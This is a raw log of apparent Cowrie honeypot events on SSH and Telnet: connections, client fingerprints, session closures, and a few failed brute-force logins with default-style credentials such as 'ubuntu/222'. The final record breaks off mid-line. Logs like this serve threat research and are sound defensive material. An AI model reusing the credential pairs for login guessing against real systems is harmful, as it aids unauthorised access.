{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:17.379615Z","src_ip":"194.59.206.2","session":"a035c5ca3a73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:17.480937Z","src_ip":"194.59.206.2","session":"a035c5ca3a73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.876736164093018,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:18.083632Z","src_ip":"206.54.191.52","session":"e7eddf188906","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25186800956726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:20.610453Z","src_ip":"206.54.191.52","session":"49bef2bbf2f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70448613166809,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:21.062142Z","src_ip":"206.54.191.52","session":"26a6db1b4629","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":59980,"dst_ip":"159.203.135.109","dst_port":23,"session":"000f8e48cb8e","protocol":"telnet","message":"New connection: 206.54.191.52:59980 (159.203.135.109:23) [session: 000f8e48cb8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:24.852205Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":34090,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a3654d62eed","protocol":"telnet","message":"New connection: 206.54.191.52:34090 (159.203.135.109:23) [session: 8a3654d62eed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:26.996485Z"}
{"eventid":"cowrie.session.closed","duration":30.581644773483276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:32.182446Z","src_ip":"206.54.191.52","session":"3be69a2f6195","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":42972,"dst_ip":"159.203.135.109","dst_port":23,"session":"76f1eada33d4","protocol":"telnet","message":"New connection: 206.54.191.52:42972 (159.203.135.109:23) [session: 76f1eada33d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:35.426079Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":50798,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3e6faae0ce7","protocol":"telnet","message":"New connection: 206.54.191.52:50798 (159.203.135.109:23) [session: c3e6faae0ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:43.294883Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":54172,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef2761998fe5","protocol":"telnet","message":"New connection: 206.54.191.52:54172 (159.203.135.109:23) [session: ef2761998fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:45.614388Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":58716,"dst_ip":"159.203.135.109","dst_port":23,"session":"22ae2e700bdd","protocol":"telnet","message":"New connection: 206.54.191.52:58716 (159.203.135.109:23) [session: 22ae2e700bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:49.950085Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":43392,"dst_ip":"10.17.0.5","dst_port":22,"session":"184da4d8c71e","protocol":"ssh","message":"New connection: 14.225.205.58:43392 (10.17.0.5:22) [session: 184da4d8c71e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:54.849790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:54.854557Z","src_ip":"14.225.205.58","session":"184da4d8c71e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:55.122963Z","src_ip":"14.225.205.58","session":"184da4d8c71e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.397953510284424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:55.250085Z","src_ip":"206.54.191.52","session":"000f8e48cb8e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"222","message":"login attempt [ubuntu/222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:56.222064Z","src_ip":"14.225.205.58","session":"184da4d8c71e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:57.491294Z","src_ip":"14.225.205.58","session":"184da4d8c71e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20662522315979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:22:58.202982Z","src_ip":"206.54.191.52","session":"8a3654d62eed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":46356,"dst_ip":"159.203.135.109","dst_port":23,"session":"c80bb6ab3951","protocol":"telnet","message":"New connection: 206.54.191.52:46356 (159.203.135.109:23) [session: c80bb6ab3951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:04.758205Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":49234,"dst_ip":"159.203.135.109","dst_port":23,"session":"376dd199c53f","protocol":"telnet","message":"New connection: 206.54.191.52:49234 (159.203.135.109:23) [session: 376dd199c53f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:07.695216Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":51556,"dst_ip":"159.203.135.109","dst_port":23,"session":"15b21d9e1186","protocol":"telnet","message":"New connection: 206.54.191.52:51556 (159.203.135.109:23) [session: 15b21d9e1186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:11.020523Z"}
{"eventid":"cowrie.session.closed","duration":38.80802035331726,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:14.234005Z","src_ip":"206.54.191.52","session":"76f1eada33d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42541527748108,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:14.720241Z","src_ip":"206.54.191.52","session":"c3e6faae0ce7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38413715362549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:16.998431Z","src_ip":"206.54.191.52","session":"ef2761998fe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":60676,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8d59dd8db2d","protocol":"telnet","message":"New connection: 206.54.191.52:60676 (159.203.135.109:23) [session: b8d59dd8db2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:19.389971Z"}
{"eventid":"cowrie.session.closed","duration":30.13319158554077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:20.083189Z","src_ip":"206.54.191.52","session":"22ae2e700bdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.360744953155518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:35.118817Z","src_ip":"206.54.191.52","session":"c80bb6ab3951","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":48616,"dst_ip":"159.203.135.109","dst_port":23,"session":"1825fab99141","protocol":"telnet","message":"New connection: 206.54.191.52:48616 (159.203.135.109:23) [session: 1825fab99141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:35.225810Z"}
{"eventid":"cowrie.session.closed","duration":30.433555603027344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:38.128657Z","src_ip":"206.54.191.52","session":"376dd199c53f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":53954,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb4cbecd322e","protocol":"telnet","message":"New connection: 206.54.191.52:53954 (159.203.135.109:23) [session: fb4cbecd322e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:40.857886Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56122,"dst_ip":"159.203.135.109","dst_port":23,"session":"366a318e17d0","protocol":"telnet","message":"New connection: 206.54.191.52:56122 (159.203.135.109:23) [session: 366a318e17d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:42.160406Z"}
{"eventid":"cowrie.session.closed","duration":31.84071683883667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:42.861135Z","src_ip":"206.54.191.52","session":"15b21d9e1186","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":56904,"dst_ip":"159.203.135.109","dst_port":23,"session":"049427e80a1c","protocol":"telnet","message":"New connection: 206.54.191.52:56904 (159.203.135.109:23) [session: 049427e80a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:42.894143Z"}
{"eventid":"cowrie.session.closed","duration":30.988829612731934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:50.378705Z","src_ip":"206.54.191.52","session":"b8d59dd8db2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":47296,"dst_ip":"10.17.0.5","dst_port":22,"session":"432de2dac6e9","protocol":"ssh","message":"New connection: 14.225.205.58:47296 (10.17.0.5:22) [session: 432de2dac6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:51.721455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:51.726531Z","src_ip":"14.225.205.58","session":"432de2dac6e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:52.001161Z","src_ip":"14.225.205.58","session":"432de2dac6e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testen","password":"testen","message":"login attempt [testen/testen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:53.132436Z","src_ip":"14.225.205.58","session":"432de2dac6e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:23:54.409198Z","src_ip":"14.225.205.58","session":"432de2dac6e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.558252096176147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:06.783957Z","src_ip":"206.54.191.52","session":"1825fab99141","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":53290,"dst_ip":"159.203.135.109","dst_port":23,"session":"b27e897c8117","protocol":"telnet","message":"New connection: 206.54.191.52:53290 (159.203.135.109:23) [session: b27e897c8117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:09.280713Z"}
{"eventid":"cowrie.session.closed","duration":30.961729288101196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:11.819516Z","src_ip":"206.54.191.52","session":"fb4cbecd322e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.236486434936523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:13.130488Z","src_ip":"206.54.191.52","session":"049427e80a1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.75224542617798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:13.912577Z","src_ip":"206.54.191.52","session":"366a318e17d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":59942,"dst_ip":"159.203.135.109","dst_port":23,"session":"07ad8dac3a7c","protocol":"telnet","message":"New connection: 206.54.191.52:59942 (159.203.135.109:23) [session: 07ad8dac3a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:15.870470Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.230.180.193","src_port":13326,"dst_ip":"10.17.0.5","dst_port":23,"session":"521191add312","protocol":"telnet","message":"New connection: 88.230.180.193:13326 (10.17.0.5:23) [session: 521191add312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:22.333244Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.52.24.180","src_port":60993,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4e8de16a2a4","protocol":"ssh","message":"New connection: 164.52.24.180:60993 (10.17.0.5:22) [session: c4e8de16a2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:27.517005Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\\xfc\u0003\u0003\u007f\u001fZUd\\xe8\\x98\u0005\u0000\u0774\\xe0\\xd83\\xe2_\\xef\\xf5F\u04b5\\xe0A\\xae\\xf7Y\\xf1\u0013\u001f\\xfeX\f \"L\\xac\\x9a\t\\xd5\\xe4\r/\\xc9\\xcf\\xe8\u0018\\xb4\\xf0\\xbdD\\xc8\\xf2\\xa0k\\xa0m\\xb1\\xa6Dc\\xa5\\xa5\\xfb\\x9d\u001c\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\\xc0,\\xc00\u0000\\x9f\u0329\u0328\u032a\\xc0+\\xc0/\u0000\\x9e\\xc0$\\xc0(\u0000k\\xc0#\\xc0'\u0000g\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0002\u0000\u0001\u0000\u0001\\xfc\u0003\u0003\u007f\u001fZUd\\xe8\\x98\u0005\u0000\u0774\\xe0\\xd83\\xe2_\\xef\\xf5F\u04b5\\xe0A\\xae\\xf7Y\\xf1\u0013\u001f\\xfeX\f \"L\\xac\\x9a\t\\xd5\\xe4\r/\\xc9\\xcf\\xe8\u0018\\xb4\\xf0\\xbdD\\xc8\\xf2\\xa0k\\xa0m\\xb1\\xa6Dc\\xa5\\xa5\\xfb\\x9d\u001c\u0000>\u0013\u0002\u0013\u0003\u0013\u0001\\xc0,\\xc00\u0000\\x9f\u0329\u0328\u032a\\xc0+\\xc0/\u0000\\x9e\\xc0$\\xc0(\u0000k\\xc0#\\xc0'\u0000g\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:27.521403Z","src_ip":"164.52.24.180","session":"c4e8de16a2a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:27.524395Z","src_ip":"164.52.24.180","session":"c4e8de16a2a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.52.24.180","src_port":59725,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc12e7c06b83","protocol":"ssh","message":"New connection: 164.52.24.180:59725 (10.17.0.5:22) [session: dc12e7c06b83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:27.844186Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:27.850330Z","src_ip":"164.52.24.180","session":"dc12e7c06b83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:27.857870Z","src_ip":"164.52.24.180","session":"dc12e7c06b83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":48060,"dst_ip":"159.203.135.109","dst_port":23,"session":"955a963bb90b","protocol":"telnet","message":"New connection: 206.54.191.52:48060 (159.203.135.109:23) [session: 955a963bb90b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:31.289987Z"}
{"eventid":"cowrie.session.closed","duration":13.49941086769104,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:35.832543Z","src_ip":"88.230.180.193","session":"521191add312","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.943113565444946,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:40.223707Z","src_ip":"206.54.191.52","session":"b27e897c8117","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.54.191.52","src_port":35304,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbb7eb4f8180","protocol":"telnet","message":"New connection: 206.54.191.52:35304 (159.203.135.109:23) [session: cbb7eb4f8180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:44.190945Z"}
{"eventid":"cowrie.session.closed","duration":30.313159942626953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:46.183518Z","src_ip":"206.54.191.52","session":"07ad8dac3a7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":35062,"dst_ip":"10.17.0.5","dst_port":22,"session":"af69f9aebe2c","protocol":"ssh","message":"New connection: 14.225.205.58:35062 (10.17.0.5:22) [session: af69f9aebe2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:50.178751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:24:50.182818Z","src_ip":"14.225.205.58","session":"af69f9aebe2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","